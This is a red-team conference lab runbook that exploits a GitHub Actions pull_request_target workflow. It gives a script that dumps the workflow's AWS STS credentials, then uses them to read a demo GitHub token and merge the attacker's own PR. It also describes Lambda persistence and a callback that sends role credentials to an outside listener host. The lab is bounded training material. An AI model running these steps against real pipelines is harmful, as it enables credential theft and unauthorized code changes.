

Attendee Runbook: Trust the Pipeline, Lose the Kingdom

This is the live Red Team Village lab path. In the room, students run the core exploit live:

```
PR-controlled step → STS exports → demo secret → merge
```

The advanced cloud-native chain is taught with slides, logs, diagrams, and code artifacts during the hour. The public Terraform/code bundle is the take-home reproduction path for running the full chain later in a dedicated, empty AWS account you control.

Safety contract

Everything in this lab is intentionally vulnerable and intentionally bounded.

- Use only the demo repository, demo AWS account, and a unique handle you choose for this session.
- Do not use personal/work tokens, employer accounts, or real secrets.
- The live room path stops after the trophy-wall merge unless the room scope explicitly changes.
- Advanced Lambda/EventBridge, IAM graph, and pivot-secret material is shown through artifacts/code in the live hour.
- If your laptop or Wi-Fi fights you, pair with a neighbor and stay with the trust graph. The public bundle lets you rerun later.

Prereqs

You need:

- GitHub account.
- Browser signed into GitHub.
- Terminal with `aws`, `jq`, and `curl` if possible.
- A unique handle you choose for the lab, for example `student07`.

The take-home path additionally requires Terraform `>= 1.5`, Python 3, `zip`, the AWS CLI, and credentials for a dedicated empty AWS account you control. The optional listener path has additional host requirements in Take-home Step 4.5.

Steps 3 and 3.5 use `YOUR_HANDLE` as a placeholder. Replace it in the filenames and JSON content with the same chosen handle; duplicate handles are rejected.

Live hands-on: PR to merge authority

Use these steps in order. Each command block is safe to copy after you replace the named values with the room values.

Step 1 — Fork the Totally Not Vulnerable Repo

Goal: create your own fork so your PR is attacker-controlled input.

In your browser:

1. Open the public demo repo URL shown on the room slide.

2. Confirm the repo README starts with **Totally Not Vulnerable Repo**.
3. Click **Fork**.
4. Keep the fork page open.

Expected result: you have a fork under your GitHub account.

If stuck: pair with a neighbor or ask for the room fixture path. Do not use a work/employer GitHub account.

Why it matters: the lab starts with a normal external pull request against a very normal, totally-not-suspicious repo.

Step 2 — Review the pipeline configs

Goal: see the trust boundary before exploiting it.

In your browser:

1. Open the upstream demo repo.
2. Open `.github/workflows/ci.yml`.
3. Find the workflow sections named **Checkout PR code** and **Exchange OIDC for STS and run PR-controlled step**.

Expected result: you can see the trusted workflow checks out PR code and later runs a handle-scoped script.

If stuck: make sure you are viewing the upstream room demo repo, not only your fork.

Why it matters: the vulnerable workflow lives in the trusted source repo, but it chooses to run a script from your PR.

Step 2.5 — Spot the vulnerable lines

Look for these lines in `.github/workflows/ci.yml`:

```
on:
  pull_request_target:
```

```
repository: ${ github.event.pull_request.head.repo.full_name }
ref: ${ github.event.pull_request.head.sha }
```

```
STUDENT_STEP="ci/student-steps/${RTV_HANDLE}.sh"
bash "$STUDENT_STEP"
```

Why it matters: the trusted workflow runs in target-repo context, checks out PR-controlled code, then executes the PR-controlled script.

Step 3 — Add your trophy-wall submission JSON

Goal: add one harmless content file from your fork using GitHub web.

In your fork:

1. Click **Add file**.
2. Click **Create new file**.
3. Use this filename after replacing `YOUR_HANDLE`:

```
submissions/YOUR_HANDLE.json
```

Copy this as the file content, then replace `YOUR_HANDLE` and your message:

```
{"handle":"YOUR_HANDLE","message":"your message"}
```

Example for handle `student07`:

```
{"handle":"student07","message":"I controlled the pipeline."}
```

Commit the file to your fork.

If stuck: the JSON must contain only `handle` and `message`. The filename `handle` and JSON `handle` must match exactly.

Why it matters: this file is safe content; the next file is the PR-controlled pipeline step the trusted workflow will execute.

Step 3.5 — Add your PR-controlled pipeline step

Goal: add one handle-scoped script that turns the workflow's AWS session into copy-ready exports.

In your fork:

1. Click **Add file**.
2. Click **Create new file**.
3. Use this filename after replacing `YOUR_HANDLE` with the same handle:

```
ci/student-steps/YOUR_HANDLE.sh
```

Copy this as the file content:

```
#!/usr/bin/env bash
set -euo pipefail

: "${AWS_ACCESS_KEY_ID:?AWS_ACCESS_KEY_ID is required}"
: "${AWS_SECRET_ACCESS_KEY:?AWS_SECRET_ACCESS_KEY is required}"
: "${AWS_SESSION_TOKEN:?AWS_SESSION_TOKEN is required}"
: "${AWS_REGION:?AWS_REGION is required}"

STS_CREDS_PATH="${STS_CREDS_PATH:-/tmp/sts-creds.sh}"
umask 077
mkdir -p "$(dirname "$STS_CREDS_PATH")"

{
  printf 'export AWS_ACCESS_KEY_ID=%s\n' "$AWS_ACCESS_KEY_ID"
  printf 'export AWS_SECRET_ACCESS_KEY=%s\n' "$AWS_SECRET_ACCESS_KEY"
  printf 'export AWS_SESSION_TOKEN=%s\n' "$AWS_SESSION_TOKEN"
  printf 'export AWS_REGION=%s\n' "$AWS_REGION"
} | tee "$STS_CREDS_PATH"
```

Commit the file to your fork.

Expected result: your fork now has two matching files:

```
submissions/student07.json
ci/student-steps/student07.sh
```

If stuck: the script filename must match the JSON handle exactly. `submissions/student07.json` pairs with `ci/student-steps/student07.sh`.

Why it matters: PR workflow YAML edits do not run under `pull_request_target`. The bug is trusted target workflow context executing PR-controlled code.

Step 4 — Open a PR back to the demo repo

Goal: trigger the target repo's vulnerable workflow from your forked JSON and pipeline step.

In your browser:

1. Open a pull request from your fork.
2. Target the room demo repo and its default branch.
3. Confirm the PR contains only your two files.
4. Submit the PR.

Expected result: a GitHub Actions run starts for your PR.

If stuck: confirm the PR targets the room demo repo, not your fork's default branch.

Why it matters: the vulnerable `pull_request_target` workflow runs in the target repository context.

Step 5 — Download temporary AWS credentials from the artifact

Goal: use the STS session written by the script you supplied in the PR.

In your browser:

1. Open your PR.
2. Open the **Actions** run for that PR.
3. Wait for the workflow to finish.
4. Scroll to **Artifacts**.
5. Download **sts-credentials**.
6. Unzip the download.
7. Open `sts-creds.sh`.
8. Paste the four `export` lines into your terminal.

The artifact file should contain four export lines. Do not copy this redacted example; copy the real four export lines from `sts-creds.sh`:

```
export AWS_ACCESS_KEY_ID=REDACTED_AWS_ACCESS_KEY_ID
export AWS_SECRET_ACCESS_KEY=REDACTED_AWS_SECRET_ACCESS_KEY
export AWS_SESSION_TOKEN=REDACTED_AWS_SESSION_TOKEN
export AWS_REGION=us-east-1
```

After you paste the real four export lines, run:

```
printf 'aws env ready: %s %s\n' "$AWS_REGION" "${AWS_ACCESS_KEY_ID:+AWS_ACCESS_KEY_ID_SET}"
```

Expected result:

```
aws env ready: us-east-1 AWS_ACCESS_KEY_ID_SET
```

If stuck: do not copy from the workflow log; line wrapping can mangle the session token. Download the `sts-credentials` artifact again and copy from `sts-creds.sh`.

Why it matters: temporary means expiring, not unstealable. Your PR-controlled step became the exfil channel.

Step 6 — Verify the temporary AWS identity

Goal: prove the workflow credentials work outside the workflow.

Run:

```
aws sts get-caller-identity
```

Expected result:

```
{
  "UserId": "REDACTED_DEMO_ROLE_SESSION",
  "Account": "REDACTED_DEMO_ACCOUNT_ID",
  "Arn": "REDACTED_DEMO_ASSUMED_ROLE_ARN"
}
```

If stuck: check that all four export lines from Step 5 are in the same terminal session.

Why it matters: the trust boundary crossed from GitHub Actions into AWS STS.

Step 7 — Read the demo GitHub token from Secrets Manager

Goal: use the narrow AWS role to retrieve the code-hosting token stored as a demo secret.

Run:

```
export PAT="$(aws secretsmanager get-secret-value \
  --secret-id demo/github-pat \
  --query SecretString \
  --output text)"
test -n "${PAT}" && echo "PAT is set"
```

Expected result:

```
PAT is set
```

If stuck: run Step 6 again. If STS identity works but this command fails, ask for fallback proof from the room staff.

Why it matters: the AWS role is narrow. The secret is not.

Step 8 — Merge your own PR with the recovered token

Goal: prove the secret read becomes code-hosting authority.

Run after replacing `PR_NUMBER` with your PR number:

```
export DEMO_ORG="pipeline-demo-lab"
export DEMO_REPO="cicd-demo"
export PR_NUMBER="replace_with_your_pr_number"

curl -sS -X PUT \
  -H "Authorization: token ${PAT}" \
  -H "Accept: application/vnd.github+json" \
  "https://api.github.com/repos/${DEMO_ORG}/${DEMO_REPO}/pulls/${PR_NUMBER}/merge" | jq .
```

Expected result:

```
{
  "sha": "REDACTED_MERGE_SHA",
  "merged": true,
  "message": "Pull Request successfully merged"
}
```

If stuck: your PR URL ends with `/pull/NUMBER`; use that number. Confirm `PAT`, `DEMO_ORG`, `DEMO_REPO`, and `PR_NUMBER` are set in the same terminal session.

Why it matters: you merged it with a credential that did not exist when you opened the PR.

Step 9 — Refresh the trophy wall

Goal: see the visible impact of the merge.

In your browser:

1. Refresh your PR and confirm it is merged.
2. Open the trophy wall URL shown on the room slide.
3. Refresh after GitHub Pages deploys.

Expected result:

```
@student07
{
  "handle": "student07",
  "message": "I controlled the pipeline."
}
```

If stuck: the Pages deploy may lag. Watch the room screen or use the fixture trophy-wall screenshot.

Why it matters: the live room path ends at code-hosting impact. The rest of the chain is taught through `artifacts/code`.

At this point, pause live commands and follow the advanced chain artifact walkthrough.

Advanced chain: presenter walkthrough only

Do **not** run this section during the conference lab. The presenter shows sanitized code and pre-captured logs from private presenter scaffolding; those private scripts are intentionally not published.

If you want to reproduce the same concepts, use the linked public scripts only **after the session**, after completing Take-home Steps 1–4 below, in a dedicated empty AWS account that you control. They are bounded take-home implementations, not commands for the conference demo account.

Controlled serverless persistence

Presenter artifact: sanitized persistence deployment code and logs.

Own-lab script for later: [take-home-scripts/01-deploy-and-prove-persistence.sh](#).

What the artifact demonstrates:

- handle/session-prefixed Lambda resources;
- a short-lived EventBridge/Scheduler trigger;
- proof output from logs;
- cleanup by session/handle.

Teaching point:

No implant. No endpoint. No C2. Still durable cloud control-plane behavior.

IAM graph walk

Presenter artifact: sanitized one-edge role-assumption code and logs.

Own-lab script for later: [take-home-scripts/02-assume-one-role.sh](#).

What the artifact demonstrates:

- exactly one intended demo role edge;
- denied output for paths outside the lab graph;
- IAM trust policies as graph edges, not isolated policy blobs.

Teaching point:

Trust policies are graph edges. Attackers walk graphs.

Controlled secrets pivot

Presenter artifact: sanitized fake-secret retrieval code and logs.

Own-lab script for later: [take-home-scripts/03-read-fake-pivot-secrets.sh](#).

Demo categories:

- [demo/pivot/code-hosting-admin-token](#)
- [demo/pivot/ci-platform-admin-key](#)
- [demo/pivot/data-warehouse-creds](#)
- [demo/pivot/saas-api-key](#)

These must be fake/demo values only.

Teaching point:

AWS is not the destination. The secret store is the bridge to everything around AWS.

Take-home Terraform/code

Do this **after the session**, never during the live room lab. Use a dedicated, empty AWS account you control and a throwaway GitHub repository. The conference workflow and its GetSecretValue-only attendee role do not deploy persistence or grant the advanced-chain permissions.

Public bundle:

<https://github.com/x90skysn3k/rtv-cicd-attack-chain>

Take-home Step 1 — Clone and inspect the bounded resources

```
git clone https://github.com/x90skysn3k/rtv-cicd-attack-chain.git
cd rtv-cicd-attack-chain
```

The take-home path requires Terraform `>= 1.5`, the AWS CLI, `python3`, and `zip`. The optional remote proof listener also requires local `ssh` and `scp`.

Read `terraform/advanced-chain/` and `take-home-scripts/` before applying anything. The advanced Terraform uses fixed `rtv-take-home` names, restricts the provider to the expected account, gives the Lambda execution role access to its fixed log group plus `secretsmanager:ListSecrets`, constrains one target role to one declared IAM principal, and gives that target only `secretsmanager:GetSecretValue` on four visibly fake secrets.

Take-home Step 2 — Reproduce the live PR-to-merge infrastructure

Configure `terraform/demo-account/terraform.tfvars` from its example for your dedicated account and throwaway repository, then initialize, review the plan, and apply it. Store only a throwaway, repository-scoped GitHub credential in its demo secret. Walk the live steps above against your own repository:

```
PR-controlled step → OIDC/STS → demo PAT read → merge → trophy wall
```

This remains separate from the advanced chain.

Take-home Step 3 — Configure the advanced chain

Identify the IAM user or role ARN that will run the scripts; use an IAM principal ARN, not an STS session ARN.

```
cd terraform/advanced-chain
cp terraform.tfvars.example terraform.tfvars
```

Set `aws_account_id`, `chain_source_principal_arn`, and the exact dedicated-account acknowledgement. Keep `terraform.tfvars` local. Initialize Terraform, review the complete plan, and apply only after confirming the provider account.

Expected outputs include `aws_account_id`, `aws_region`, `chain_source_principal_arn`, `lambda_exec_role_arn`, `chain_target_role_arn`, `pivot_secret_names`, `lambda_log_group_name`, and `detection_log_group_name`.

Take-home Step 4 — Export the Terraform contract

From `terraform/advanced-chain/`:

```
export EXPECTED_AWS_ACCOUNT_ID="$(terraform output -raw aws_account_id)"
export AWS_REGION="$(terraform output -raw aws_region)"
export EXPECTED_SOURCE_PRINCIPAL_ARN="$(terraform output -raw chain_source_principal_arn)"
export LAMBDA_EXEC_ROLE_ARN="$(terraform output -raw lambda_exec_role_arn)"
export CHAIN_TARGET_ROLE_ARN="$(terraform output -raw chain_target_role_arn)"
export PIVOT_CODE_HOSTING_SECRET_NAME="$(terraform output -json pivot_secret_names | python3 -c 'import json,sys; print(json.load(sys.stdin)["code_hosting"]')')"
export PIVOT_CI_PLATFORM_SECRET_NAME="$(terraform output -json pivot_secret_names | python3 -c 'import json,sys; print(json.load(sys.stdin)["ci_platform"]')')"
export PIVOT_DATA_WAREHOUSE_SECRET_NAME="$(terraform output -json pivot_secret_names | python3 -c 'import json,sys; print(json.load(sys.stdin)["data_warehouse"]')')"
export PIVOT_SAAS_API_SECRET_NAME="$(terraform output -json pivot_secret_names | python3 -c 'import json,sys; print(json.load(sys.stdin)["saas_api"]')')"
cd ../../
```

Every script aborts unless the active account and fixed Terraform names match these explicit values.

Take-home Step 4.5 — Configure the credential-proof listener

The persistence Lambda preserves the presenter callback behavior, including sending its temporary Lambda-role credentials to the TLS listener. The listener and callback source are provided as-is. Before running them, replace

every `YOURHOST` and `robot.tiden.io` hostname in these three files with one public DNS hostname and SSH host that you control:

```
take-home-scripts/01-deploy-and-prove-persistence.sh
take-home-scripts/lambda-src/index.py
take-home-scripts/start-proof-listner.sh
```

The remote host must have `python3`, `openssl`, `firewall-cmd`, `passwordless sudo` for the temporary listener resources, and inbound TCP port `1337`. Review the resulting diff and confirm no presenter hostname remains.

In terminal 1 on your laptop:

```
bash ./take-home-scripts/start-proof-listner.sh
```

Keep terminal 1 running. The launcher creates a one-day certificate, copies its CA certificate to `/tmp/rtv-proof-listener-ca.pem` on your laptop, opens TCP port `1337`, and removes those listener resources when it exits.

In terminal 2 on the same laptop:

```
export ENABLE_PROOF_CALLBACK="1"
export PROOF_DETAIL_MODE="identity"
```

`identity` sends the Lambda execution role's temporary access key ID, secret access key, and session token to your listener. Use `PROOF_DETAIL_MODE="basic"` to send only invocation metadata. To run only the CloudWatch proof without a callback, set `ENABLE_PROOF_CALLBACK="0"`; this does not remove or alter the callback feature.

Take-home Step 5 — Deploy and prove bounded persistence

```
./take-home-scripts/01-deploy-and-prove-persistence.sh
```

The script creates or updates the fixed Lambda and EventBridge rule/target, invokes the function once, and schedules it to fire again. CloudWatch records the Lambda identity and visible secret names. With the callback enabled, terminal 1 receives the selected proof payload over TLS. The Lambda execution role is limited to its fixed log group and `secretsmanager:ListSecrets`; the captured credentials do not have permission to read secret values.

Take-home Step 6 — Traverse one IAM edge

```
./take-home-scripts/02-assume-one-role.sh
```

Export `CHAIN_CREDENTIALS_FILE` exactly as printed. The script verifies the active principal against the constrained trust policy and makes exactly one `AssumeRole` call to the fixed pivot-reader role.

Take-home Step 7 — Read only fake pivot secrets

```
./take-home-scripts/03-read-fake-pivot-secrets.sh
```

The script accepts only the four fixed Terraform output names, verifies the one-edge session, calls only `GetSecretValue`, and stops if a value is not visibly fake.

Take-home Step 8 — Observe and remove everything

CloudTrail management events feed EventBridge rules for `CreateFunction`, `PutRule`, `PutTargets`, `AssumeRole`, and `GetSecretValue`. Use the `detection_log_group_name` output to inspect the matching events.

```
./take-home-scripts/99-teardown.sh  
cd terraform/advanced-chain  
terraform destroy
```

The script removes only the fixed Lambda, EventBridge target/rule, and temporary credential file. Terraform destroy removes the pre-created IAM, fake-secret, log-retention, CloudTrail, S3, and detection resources. Destroy `terraform/demo-account/` separately when you finish the live-path reproduction.

The live session avoids all take-home Terraform and advanced scripts so the hour stays focused on the PR-to-STS-to-PAT-to-merge trust graph.

Find yourself in the logs

After the live and take-home command paths, look for:

- GitHub PR/workflow events;
- `AssumeRoleWithWebIdentity`;
- `GetSecretValue` for the demo PAT;
- Lambda/EventBridge/Scheduler creation from the artifact walkthrough;
- `AssumeRole` graph movement from the artifact walkthrough;
- demo pivot-secret reads from the artifact walkthrough.

Teaching point:

```
You generated the first pivot live. Now learn how to find the rest of the chain.
```